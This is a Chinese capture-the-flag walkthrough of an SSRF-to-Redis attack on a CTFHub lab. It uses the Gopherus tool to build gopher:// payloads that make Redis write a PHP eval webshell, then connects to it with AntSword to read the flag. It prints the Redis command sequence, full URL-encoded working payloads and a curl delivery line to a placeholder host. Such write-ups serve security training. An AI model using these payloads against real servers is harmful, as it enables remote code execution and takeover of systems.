目录

一、SSRF Gopher Redis

1、功能简介

2、攻击原理

(1)SSR的作用

(2)Gopher 协议特性

(3)攻击 Redis 步骤

二、gopherus

1、功能简介

2、攻击Redis服务方法

三、Gopherus安装

1、源码下载

2、编译安装

四、渗透实战

1、打开靶场

2、gopherus渗透

(1)启动攻击模块

(2)第一行输入攻击类型

(3)第二行输入路径

(4)第三行输入 WebShell 内容

(5)URL编码

(6)执行SSRF攻击

4、连接木马


本文通过CTFHub的SSRF Redis关卡的渗透实战,详细讲解了SSRF结合Gopher协议攻击Redis服务的技术原理与实践方法。通过Gopherus工具构造恶意Redis请求,突破内网限制实现远程代码执行(RCE)。实战演示了从生成Payload、URL编码到利用SSRF安全风险上传Webshell的全过程,最终通过蚁剑连接木马获取目标系统flag。

一、SSRF Gopher Redis

1、功能简介

在Web安全领域,结合SSRF(服务器端请求伪造)、Gopher协议和Redis协议的攻击,构成了针对内网Redis服务的高危威胁。这种攻击能将原本低危的SSRF风险升级为具有远程代码执行(RCE)能力的致命攻击链。攻击者通过构造恶意Gopher请求,利用SSRF风险使目标服务器与内网Redis服务交互,最终达成远程代码执行目的。下表展示了这三个组件的核心作用。

组件核心定位关键特性
SSRFServer-Side Request Forgery “服务器端请求伪造”,攻击者通过可控输入诱导服务器向任意地址 / 服务发起请求突破客户端访问限制,可访问服务器内网资源(如 127.0.0.1:6379 的 Redis服务)
Gopher 协议轻量级互联网协议,支持构造任意二进制 / 文本请求包,可模拟完整协议交互能封装Redis协议的报文,通过gopher://URL 传递给 SSRF安全风险点
Redis开源的高性能键值对内存数据库,常用于缓存、消息队列等Redis使用一种简单、基于文本的协议。历史版本默认无认证且绑定在 0.0.0.0,导致未授权访问

2、攻击原理

Redis服务默认运行在服务器内网(127.0.0.1:6379),仅允许本地或信任网段访问,外部无法直接触达。而 SSRF + Gopher 恰好能突破这一限制,核心攻击链路如下:

(1)SSRF的作用

SSRF 核心在于服务器未对用户输入的 URL 进行严格过滤和验证,导致攻击者可以控制服务器向任意地址发起请求。由于请求是由服务器端发出的,所以攻击者能够利用SSRF访问服务器所在网络内部的系统,而这些内部系统通常是外部无法直接访问的,比如内网中的 Redis 服务。

(2)Gopher 协议特性

Gopher 协议是一种比 HTTP 协议更早出现的协议,现在已不常用,但在 SSRF 利用中却非常有用。Gopher 协议可以发送各种格式的请求包,能够构造任意的 TCP 数据流,这使得攻击者可以通过 Gopher 协议模拟 Redis 协议的请求格式,向 Redis 服务器发送特定的命令。

(3)攻击 Redis 步骤

① 确认 Redis 服务存在:攻击者首先需要通过 SSRF探测内网中是否存在 Redis 服务,通常 Redis 默认运行在 6379 端口,攻击者可以构造一个 SSRF 请求,尝试访问127.0.0.1:6379,根据服务器的响应情况来判断 Redis 服务是否存在。

② 构造恶意请求:一旦确认 Redis 服务存在,攻击者就可以利用 Gopher 协议构造恶意的 Redis 命令请求包。例如,比让Redis执行以下命令在服务器生成木马文件。

FLUSHALL          # 清空所有数据库(可选,为了清洁)
SET shell "<?php @eval($_POST['ljn']); ?>" # 将一个键的值设置为Webshell代码
CONFIG SET DIR /var/www/html      # 修改Redis数据持久化存储目录为Web目录
CONFIG SET DBFILENAME shell.php   # 修改持久化数据文件名为webshell的名字
SAVE               # 强制将当前数据库保存到磁盘。由于上面修改了路径和文件名,就会生成/var/www/html/shell.php
QUIT               # 退出连接

③ 发送请求并执行命令:攻击者将构造好的 Gopher 协议请求包进行 URL 编码后,嵌入到存在 SSRF安全风险的请求中,通过服务器发送给 Redis 服务器。Redis 服务器接收到请求后,会按照协议解析并执行其中的命令,从而完成攻击者预期的操作。Gopher协议要求对整个TCP数据流进行URL编码。手动构造极其繁琐,这就是Gopherus这类工具的价值所在。

  • 将Redis命令转换为合规的协议格式。

  • 对整个数据流进行URL编码。

  • 生成最终的Gopher URL:gopher://127.0.0.1:6379/_<编码后的数据>

    ④ 实现后续控制:将生成的Gopher URL通过SSRF风险点提交给服务器后,如果Web目录路径正确且Redis有写权限,攻击成功后就会生成木马文件,使用木马的密码连接木马即可完全控制该服务器。

    二、gopherus

    1、功能简介

    Gopherus 是一款用 Python 编写的开源工具,专门用于利用 SSRF(服务器端请求伪造)。它的核心功能是生成恶意编码的 Gopher 协议载荷,从而攻击内网中的各种服务,实现从信息泄露到远程代码执行(RCE)的升级。

    项目地址: https://github.com/tarunkant/Gopherus

    Gopherus 可以生成 Gopher 协议的有效载荷,用于实现远程代码执行(RCE),并获取目标服务器的反向 Shell。该工具支持多种服务的 SSRF 攻击 payload 生成,包括 MySQL、PostgreSQL、FastCGI、Redis、Zabbix、pymemcache、rbmemcache、phpmemcache、dmpmemcache、smtp 等。

    2、攻击Redis服务方法

    在 Gopherus 中,针对 Redis服务的攻击步骤如下所示。

    # 1. 启动Redis攻击模块
    $ python2 gopherus.py --exploit redis# 2. 输入Redis路径和Webshell内容
    [+] What do you want?? (ReverseShell/PHPShell): PHPShell
    [+] Enter Redis path: /var/www/html
    [+] Enter shell function: <?php system($_GET['cmd']); ?># 3. 获取生成的Gopher载荷
    gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2435%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A# 4. 通过SSRF发送
    curl "http://vulnerable-site.com/ssrf.php?url=生成的GopherURL"# 5. 生成Webshell文件并访问
    生成木马文件URL:http://vulnerable-site.com/shell.php
    密码:cmd

    三、Gopherus安装

    1、源码下载

    首先从 GitHub 上克隆 Gopherus 项目,可以通过命令行或者直接在网站官网下载源码。

    项目地址:https://github.com/tarunkant/Gopherus.git
    命令行下载:git clone https://github.com/tarunkant/Gopherus.git

    2、编译安装

    然后进入项目源码所在的目录,其中install.sh为安装脚本,如下图所示。

    赋予安装脚本执行权限并运行,这一步会将 Gopherus 相关脚本链接到系统路径,方便后续全局调用。如果不执行如下install命令,需要每次使用Gopherus工具时,进入到源码路径中使用。

    chmod +x install.sh
    sudo./install.sh

    四、渗透实战

    1、打开靶场

    打开靶场,如下图所示题目给出以下提示“这次来攻击redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找!”,这说明题目提醒我们使用SSRF Redis进行渗透,我们可以直接在kali使用gopherus脚本进行攻击。

    复制靶场链接(challenge-49c7b982a700fa5c.sandbox.ctfhub.com:10800)并访问,如下所示被重定向到了?url=_中。

    2、gopherus渗透

    (1)启动攻击模块

    使用 gopherus.py --exploit redis启动Redis攻击模块,具体命令如下所示。

    python2 gopherus.py --exploit redis————使用gopherus工具生成payload

    (2)第一行输入攻击类型

    首先我们选择攻击类型为PHPShell,具体如下所示。

    [+] What do you want?? (ReverseShell/PHPShell): PHPShell
    • PHPShell:生成一个 PHP WebShell 文件

    • ReverseShell:生成一个直接反弹 Shell 的 payload

    (3)第二行输入路径

    启动 Gopherus 的 Redis 攻击模块后,具提示你输入Redis 数据文件将要写入的目标路径。这个路径的核心作用是:通过 Redis 的 CONFIG SET dir 命令指定数据持久化目录(即 dir 参数),后续执行 SAVE 命令时,Redis 会将内存中的数据(如攻击者构造的恶意内容)写入该目录下的文件(由 dbfilename 指定文件名)。简言之,这个路径决定了 Redis 写入的恶意文件最终存储在服务器的哪个位置,需根据目标服务器的 Web 目录结构或可利用路径填写,才能让后续的恶意文件被有效访问和执行。

    [+] Enter Redis path: /var/www/html

    若输入 /var/www/html(Web 服务的根目录),配合设置 dbfilename webshell.php,则 Redis 会在 /var/www/html 下生成 webshell.php 文件。由于该目录通常是 Web 服务器(如 Nginx、Apache)的网站根目录,攻击者可通过访问 http://目标IP/webshell.php 触发恶意代码执行,实现远程控制。

    (4)第三行输入 WebShell 内容

    接下来工具提示输入要执行的命令,这是可以选择使用一句话木马,参数为mooyuan,完整内容为<?php @eval($_POST['mooyuan']);?>,具体含所以如下所示。

    脚本内容含义作用
    <?php ... ?>PHP 标签标识 PHP 代码开始和结束
    system()系统命令执行函数执行操作系统命令
    $_GET['mooyuan']获取 GET 参数从 URL 中获取 mooyuan 参数的值
    ;语句结束符PHP 语法要求

    Gopherus 会自动将 dbfilename(Redis 持久化文件名)设置为 shell.php,配置完毕后Gopherus 工具会根据输入生成相应的 Gopher 协议有效载荷(下图白色下划线文字),如下所示。

    [+] Enter shell function: <?php system($_GET['mooyuan']); ?>

    (5)URL编码

    此时工具会根据输入生成相应的 Gopher 协议有效载荷,复制上图中白色下划线的Payload,内容如下所示。

    gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2437%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_POST%5B%27mooyuan%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A                                                                                                                               

    生成的有效载荷需要进行 URL 编码,可使用在线编码工具或编程语言中的编码函数进行编码。把生成的payload进行URL编码,编码后如下所示。

    gopher%3a%2f%2f127.0.0.1%3a6379%2f_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252437%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527mooyuan%2527%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2fvar%2fwww%2fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

    (6)执行SSRF攻击

    访问构造的paylaod URL网址,使用参数?url=Payload进行SSRF攻击,也就是拼接(challenge-49c7b982a700fa5c.sandbox.ctfhub.com:10800/?url=_)与Payload,完整URL如下所示。

    http://challenge-49c7b982a700fa5c.sandbox.ctfhub.com:10800/?url=gopher%3a%2f%2f127.0.0.1%3a6379%2f_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252437%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527mooyuan%2527%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2fvar%2fwww%2fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

    显示此页面为504,没有关系,执行这段payload的目标就是在服务器根目录上传木马shell.php,

    此时shell.php应该已经被传到靶场的根目录,因此木马文件的URL地址如下所示。

    http://challenge-49c7b982a700fa5c.sandbox.ctfhub.com:10800/shell.php

    3、连接木马

    打开蚁剑,添加数据,填写URL地址和密码,其中木马ljn.php的具体信息如下所示。

    木马内容:<?php @eval($_POST['mooyuan']);?>
    木马URL:http://challenge-49c7b982a700fa5c.sandbox.ctfhub.com:10800/shell.php
    木马密码:mooyuan

    如下所示,填写完毕后点击测试连接右下角出现绿色连通文字,点击添加即成功连接木马。

    右键选择文件系统,开始查找flag相关的文件,如下所示在根目录中找到flag文件。

    双击打开文件flag_5102c54a839a31054559e7d99720ad84,成功获取到flag值。

    本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
    如若转载,请注明出处:http://www.pswp.cn/pingmian/96292.shtml
    繁体地址,请注明出处:http://hk.pswp.cn/pingmian/96292.shtml
    英文地址,请注明出处:http://en.pswp.cn/pingmian/96292.shtml

    如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

    相关文章

    数据结构之二叉树(2)

    数据结构之二叉树&#xff08;2&#xff09;1.二叉树的存储结构2.实现顺序结构二叉树2.1何为堆2.2堆的性质2.3堆的定义2.3堆的初始化与销毁3.1向上调整算法3.2向下调整算法4.入堆5.出堆让花成花&#xff0c;让树成树上一次我们学习了树的分类&#xff0c;并初步了解了二叉树。今…

    Linux操作系统之Ubuntu

    Ubuntu是基于Debian的开源Linux发行版&#xff0c;由Canonical公司维护&#xff0c;以用户友好性和稳定性著称。它广泛应用于个人电脑、服务器及云计算环境&#xff0c;支持多种硬件架构。Ubuntu的特点Ubuntu提供定期更新版本&#xff08;每6个月&#xff09;和长期支持版本&am…

    kotlin的函数前面增加suspend关键字的作用

    deepseek回答&#xff1a; Kotlin中suspend关键字的作用详解 核心作用 suspend关键字用于标记‌挂起函数‌&#xff0c;使其能够在协程中实现非阻塞的异步操作。 suspend关键字的本质作用 suspend关键字的主要作用是‌标记一个函数为挂起函数‌&#xff0c;使其能够在协程中使用…

    Vibe Coding实战项目:用Qwen3-Coder做了个AI跳舞视频生成器

    大家好&#xff0c;这里是K姐。 一个 Vibe Coding 的探索者。 前段时间发现通义发起了一个Qwen3-Coder挑战赛&#xff0c;最高奖金有10000元&#xff0c;研究了一下&#xff0c;我发现这个赛道太宽了&#xff0c;不限项目&#xff0c;用 AI Coding 做数据分析、个人Blog、抓取…

    Kafka面试精讲 Day 13:故障检测与自动恢复

    【Kafka面试精讲 Day 13】故障检测与自动恢复 在“Kafka面试精讲”系列的第13天&#xff0c;我们将深入探讨 Kafka 高可用体系中的关键一环&#xff1a;故障检测与自动恢复机制。作为分布式系统的核心能力&#xff0c;Kafka 如何在 Broker 宕机、网络分区或磁盘故障时快速感知…

    【前沿技术拓展Trip Two】具身智能

    具身智能&#xff08;Embodied AI&#xff09;的认识&#xff0c;进展&#xff0c;以及为何难以实现 在讲具身智能之前&#xff0c;我们不得不先行介绍一下离身智能与离身认识系统这两个极其相关且更加常见的概念 离身认识系统 其实目前绝大多数的AI&#xff0c;例如DeepSeek&a…

    使用electron将vue3网页项目包装成pc客户端

    一、准备前工作在项目的根目录 打开命令行工具 安装四个依赖库安装报错的话二、准备工作完成之后&#xff0c;在项目根目录需要有俩个文件在项目根目录创建electron文件夹在vite.config.js中添加配置项在package.json中添加配置项运行命令 npm run electron:build 打包关于mac&…

    基于安全抽象模型(SAM)的汽车网络安全防御与攻击分析

    摘要自动驾驶汽车比以往任何一种个人出行交通工具都具有更大的受攻击可能性。这主要是因为这类汽车对通信有极高的需求&#xff0c;一方面是出于功能和安全方面的考虑&#xff0c;另一方面则是为了满足舒适性需求。无人驾驶汽车需要与周围环境进行通信的接口、直接连接&#xf…

    线扫相机不出图原因总结

    1、帧触发信号有问题 线扫相机出图由帧信号决定开始采集,如果没有帧信号线扫相机无法识别开始信号,所以不出图 1)没有给相机帧信号 帧信号是一个短暂的脉冲信号,持续时间不要太长,相机能识别就可以,一般由plc或者控制卡的数字量输出口触发,可以通过监测数字量输出口来确…

    开发避坑指南(46):Java Stream 对List的BigDecimal字段进行求和

    需求 对int&#xff0c;long类型的数据求和直接用stream().mapToInt()、stream().mapToDouble()&#xff0c;可是没有stream().mapToBigDecimal()这样的方法&#xff0c;那么如何用stream对List的BigDecimal字段进行求和&#xff1f; 代码实现 直接上代码 public class OrderIn…

    pycharm如何处理python项目间引用

    1. 如何在pycharm中将其它项目添加到打开的项目中 如图所示&#xff1a;文件->打开->附加&#xff08;Attach&#xff09;即可2.如何引用:直接作为一个普通package引用即可 from attack_projectxxx.modulexxx import xxx3.pyinstaller如何编译这种引用其它项目的可执行文…

    家庭劳务机器人发展阶段与时间预测

    家庭劳务机器人大规模进入家庭不会是一个单一的时间点&#xff0c;而是一个分阶段、渐进式的过程。我们可以将这个进程分为以下几个阶段&#xff0c;并对每个阶段的时间线进行预测&#xff1a;第一阶段&#xff1a;单一功能机器人普及&#xff08;现在 - 2025年&#xff09;这个…

    Zynq开发实践(FPGA之spi实现)

    【 声明&#xff1a;版权所有&#xff0c;欢迎转载&#xff0c;请勿用于商业用途。 联系信箱&#xff1a;feixiaoxing 163.com】虽然串口用的地方比较多&#xff0c;实现起来也比较简单。但是串口本身速度比较慢&#xff0c;不利于高速数据通信。而且单个串口没有办法和很多芯片…

    指甲打磨机/磨甲器MCU控制方案开发,轻松解决磨甲问题

    美甲打磨机/指甲打磨机核心功能需求 1. 基础功能 无级调速(5,000-30,000 RPM&#xff0c;PWM控制) 正反转切换&#xff08;可选&#xff0c;用于抛光/去角质&#xff09; 按键锁/防误触&#xff08;长按3秒解锁&#xff09; 锂电池管理&#xff08;3.7V单节&#xff0c;带充电指…

    临床数据挖掘与分析:利用GPU加速Pandas和Scikit-learn处理大规模数据集

    点击 “AladdinEdu&#xff0c;同学们用得起的【H卡】算力平台”&#xff0c;注册即送-H卡级别算力&#xff0c;80G大显存&#xff0c;按量计费&#xff0c;灵活弹性&#xff0c;顶级配置&#xff0c;学生更享专属优惠。 摘要 随着电子健康记录&#xff08;EHR&#xff09;的普…

    二进制安装MySQL 8.0指南:跨平台、自定义数据路径、安全远程访问配置

    二进制安装 MySQL 8.0 在生产或测试环境中&#xff0c;我们常常希望避免包管理器带来的依赖和交互问题&#xff0c;尤其是当系统自带版本过旧或安装过程频繁弹窗时。此时&#xff0c;使用 MySQL 官方提供的二进制压缩包&#xff08;Generic Linux Binary&#xff09; 进行安装…

    Z检验与T检验的区别与联系:原理、公式和案例全解

    Z检验与T检验全解析&#xff1a;原理、区别与实际案例 统计学的核心任务之一&#xff0c;就是通过有限的样本数据去推断总体特征。在这一过程中&#xff0c;假设检验成为了最常见的工具。而在众多检验方法中&#xff0c;Z检验与T检验几乎是入门必学&#xff0c;也是应用最广泛的…

    SpringBoot之缓存(最详细)

    文章目录项目准备新建项目并选择模块安装添加依赖添加application.yml删除demos.web包编写pojo层userdto/ResultJson编写mapper层UserMapper编写service层UserService编写controller层编写配置类MybatisPlusConfig编写测试类1 缓存分类1.1 MyBatis一级缓存1.2 MyBatis二级缓存1…

    B站 韩顺平 笔记 (Day 29)

    目录 1&#xff08;集合的框架体系&#xff09; 2&#xff08;Collection接口和常用方法&#xff09; 2.1&#xff08;Collection接口实现类特点&#xff09; 2.2&#xff08;常用方法&#xff09; 2.3&#xff08;遍历元素方式1&#xff1a;迭代器&#xff09; 1&#x…

    axios报错解决:unsupported BodyInit type

    目录 问题 原因 解决方法 问题 Got ‘unsupported BodyInit type’ bug on iPhone 14(IOS 17.5) Issue #6444 axios/axios 我这里是iPhone 6plus打开会报错白屏 好多人遇到了相同的问题 当我在 iPhone 14 上浏览页面时,我收到一条错误消息:错误:不支持的 BodyInit 类型,…